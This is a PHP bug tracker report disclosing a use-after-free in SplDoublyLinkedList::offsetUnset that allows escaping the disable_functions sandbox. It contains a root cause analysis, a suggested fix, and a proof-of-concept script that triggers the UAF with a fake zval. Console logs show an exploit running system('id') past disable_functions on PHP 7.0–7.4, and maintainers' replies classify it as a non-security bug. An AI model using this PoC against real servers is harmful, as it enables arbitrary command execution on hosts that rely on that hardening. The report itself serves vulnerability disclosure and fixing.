php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #80111 PHP SplDoublyLinkedList::offsetUnset UAF Sandbox Escape
Submitted: 2020-09-16 13:52 UTC Modified: 2020-09-24 08:43 UTC
Votes:1
Avg. Score:3.0 ± 0.0
Reproduced:0 of 0 (0.0%)
From: noamr at ssd-disclosure dot com Assigned:
Status: Open Package: *General Issues
PHP Version: 7.4.10 OS: Debian / Buster
Private report: No CVE-ID: None
Have you experienced this issue?
Rate the importance of this bug to you:

 [2020-09-16 13:52 UTC] noamr at ssd-disclosure dot com
Description:
------------
== Summary
SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.

Said iteration is done by keeping a pointer to the "current" DLL element.

You can then call next() or prev() to make the DLL point to another element.

When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still pointing to the associated element, even if it was removed from the list.

This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval's destructor.

== Long version (MD)
# Vulnerability Title

PHP 5.3 <= 7.4+ SplDoublyLinkedList UAF leading to sandbox escape

# High-level overview of the vulnerability and the possible effect of using it

SplDoublyLinkedList is vulnerable to an UAF since it has been added to PHP's core (PHP 5.3, 2009), which allows to escape the PHP sandbox and execute code. Such exploits are generally used to bypass PHP limitations such as disable_functions, safe_mode, etc.

# Exact product that was found to be vulnerable including complete version information

PHP 5.3.0 to PHP 8.0 (alpha) are vulnerable, that is every PHP version since the creation of the class. The given exploit works for PHP7.x only, due to changes in internal PHP structures.

# Root Cause Analysis

## Detailed description of the vulnerability

SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
Said iteration is done by keeping a pointer to the "current" DLL element.
You can then call next() or prev() to make the DLL point to another element. When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still
pointing to the associated element, even if it was removed from the list.
This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval's destructor.

## Code flow from input to the vulnerable condition

Check poc.php.
We create an SplDoublyLinkedList object $s with two values; the first one is an object with a specific __destruct, and the other does not matter. We call $s->rewind() so that the iterator current element points to our object.
When we call `$s->offsetUnset(0)`, it calls the underlying C function `SPL_METHOD(SplDoublyLinkedList, offsetUnset)` (in `ext/spl/spl_dllist.c`) which does the following:
1. remove the item from the doubly-linked list by setting 
	`element->prev->next = element->next`
	`element->next->prev = element->prev`
(effectively removing the item from the DLlist)
2. destroy the associated zval (`llist->dtor`)
3. if intern->traverse_pointer points to the element (which is the case), reset the pointer to NULL.

On step 2, the `__destruct` method of our object is called. `intern->traverse_pointer` still points
to the element. To trigger an UAF, we can do:

2. a. Remove the second element of the DLlist by calling `$s->offsetUnset(0)`.
	now, `intern->traverse_pointer->next` points to a freed location
2. b. Call `$s->next()`: this effectively does `intern->traverse_pointer = intern->traverse_pointer->next`. Since this was freed just above, traverse_pointer points to a freed location.
2. c. Using `$s->current()`, we can now access freed memory -> UAF

## Suggested fixes

`intern->traverse_pointer` needs to be cleared before destroying the zval, and the reference can be deleted afterwards. Something like this would do:

```c
		was_traverse_pointer = 0;

		// Clear the current pointer
		if (intern->traverse_pointer == element) {
			intern->traverse_pointer = NULL;
			was_traverse_pointer = 1;
		}

		if(llist->dtor) {
			llist->dtor(element);
		}

		if(was_traverse_pointer) {
			SPL_LLIST_DELREF(element);
		}

		// In the current implementation, this part is useless, because
		// llist->dtor will UNDEF the zval before
		zval_ptr_dtor(&element->data);
		ZVAL_UNDEF(&element->data);

		SPL_LLIST_DELREF(element);
```

# Proof-of-Concept

I added poc.php, which just demonstrates the UAF, and exploit.php, that exploits the bug to run `system('id');`. The exploit only targets versions 7.x, due to internal structure changes from version 5 to version 7 and 7 to 8.
Just run `php exploit.php`, and it will execute `system("id");`, regardless of the values of `disable_function`, `safe_mode`, or any PHP sandbox hardening.

Examples:

```js
# Remove system from allowed functions

$ php -d disable_functions=system -r 'system("id");'
PHP Warning:  system() has been disabled for security reasons in Command line code on line 1

# Run the exploit

$ php -d disable_functions=system SplDoublyLinkedList/exploit.php 
Address of first RW chunk: 0x7f530e4c3758
Leaked zval_ptr_dtor address: 0x55ed95429220
Got PHP_FUNCTION(system): 0x55ed95366200
Replaced zend_closure by the fake one: 0x7f530e46d298
Running system("id");
uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE

# Run the exploit on php7.0

$ php7.0 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7fe40f8b8848
Leaked zval_ptr_dtor address: 0x561d774906e0
Got PHP_FUNCTION(system): 0x561d773e30a0
Replaced zend_closure by the fake one: 0x7fe40f863c98
Running system("id");
uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE

# Run the exploit on php7.1

$ php7.1 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7f8094eb8820
Leaked zval_ptr_dtor address: 0x55d889299ff0
Got PHP_FUNCTION(system): 0x55d8891e7570
Replaced zend_closure by the fake one: 0x7f8094e64c98
Running system("id");
uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE

# Run the exploit on php7.2

$ php7.2 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7ff7ba6c1820
Leaked zval_ptr_dtor address: 0x559a53c3bd40
Got PHP_FUNCTION(system): 0x559a53b80200
Replaced zend_closure by the fake one: 0x7ff7ba66cc98
Running system("id");
uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE

# Run the exploit on php7.3

$ php7.3 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7f2cb60c3758
Leaked zval_ptr_dtor address: 0x563a044792b0
Got PHP_FUNCTION(system): 0x563a043b76a0
Replaced zend_closure by the fake one: 0x7f2cb606c298
Running system("id");
uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE

# Run the exploit on php7.4

$ php7.4 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7f358bec3758
Leaked zval_ptr_dtor address: 0x555d6943c220
Got PHP_FUNCTION(system): 0x555d69379200
Replaced zend_closure by the fake one: 0x7f358be6d298
Running system("id");
uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE
```


Test script:
---------------
<?php

/*

*/

function i2s(&$s, $p, $i, $x=8)
{
    for($j=0;$j<$x;$j++)
    {
        $s[$p+$j] = chr($i & 0xff);
        $i >>= 8;
    }
}

class Trigger
{
    function __destruct()
    {
        global $s, $b;
        # Add a reference afterwards
        //$v = new SplDoublyLinkedList();
        //$v->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE);
        # Remove element #2 from the list: this has no effect on 
        # intern->traverse_pointer, since it is removed from the list already
        # The element, along with the zval, is freed
        unset($s[0]);
        
        $a = str_shuffle(str_repeat('A', 40-24-1));
        # Build a fake zval (long, value: 12345678)
        i2s($a, 0x00, 12345678); # ptr
        i2s($a, 0x08, 4, 7); # type: long
        
        var_dump($s->current());
        $s->next();
        # The value is our fake zval
        var_dump($s->current());
        print_r('DONE'."\n");
    }
}

# Create a 3-item dllist
$s = new SplDoublyLinkedList();

# This is the UAF trigger
$s->push(new Trigger());

#$b = &$a;
$s->push(3);

# Points intern->traverse_pointer to our object element
$s->rewind();
#$s->next();

# calls SplDoublyLinkedList::offsetUnset, which will remove the element from the
# dllist, and then destruct the object, before clearing traverse_pointer
unset($s[0]);


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2020-09-16 17:08 UTC] stas@php.net
-Type: Security +Type: Bug
 [2020-09-17 09:55 UTC] noamr at ssd-disclosure dot com
Hi,

We also have a working exploit if you require one
 [2020-09-17 09:56 UTC] noamr at ssd-disclosure dot com
This is a security vulnerability - shouldn't be open
 [2020-09-17 09:56 UTC] noamr at ssd-disclosure dot com
-Type: Bug +Type: Security -Private report: No +Private report: Yes
 [2020-09-17 09:56 UTC] noamr at ssd-disclosure dot com
Security
 [2020-09-17 11:07 UTC] cmb@php.net
According to our security classification, this is not a security
issue[1], because it requires very special exploit code on the
server.  If an attacker is able to inject code, there may be more
serious issues than bypassing disable_functions (note that
safe_mode is gone for many years).

[1] <https://wiki.php.net/security#not_a_security_issue>
 [2020-09-17 11:07 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2020-09-24 08:43 UTC] noamr at ssd-disclosure dot com
Hi,

Ok

We will publish this information
 
PHP Copyright © 2001-2020 The PHP Group
All rights reserved.
Last updated: Mon Oct 19 16:01:24 2020 UTC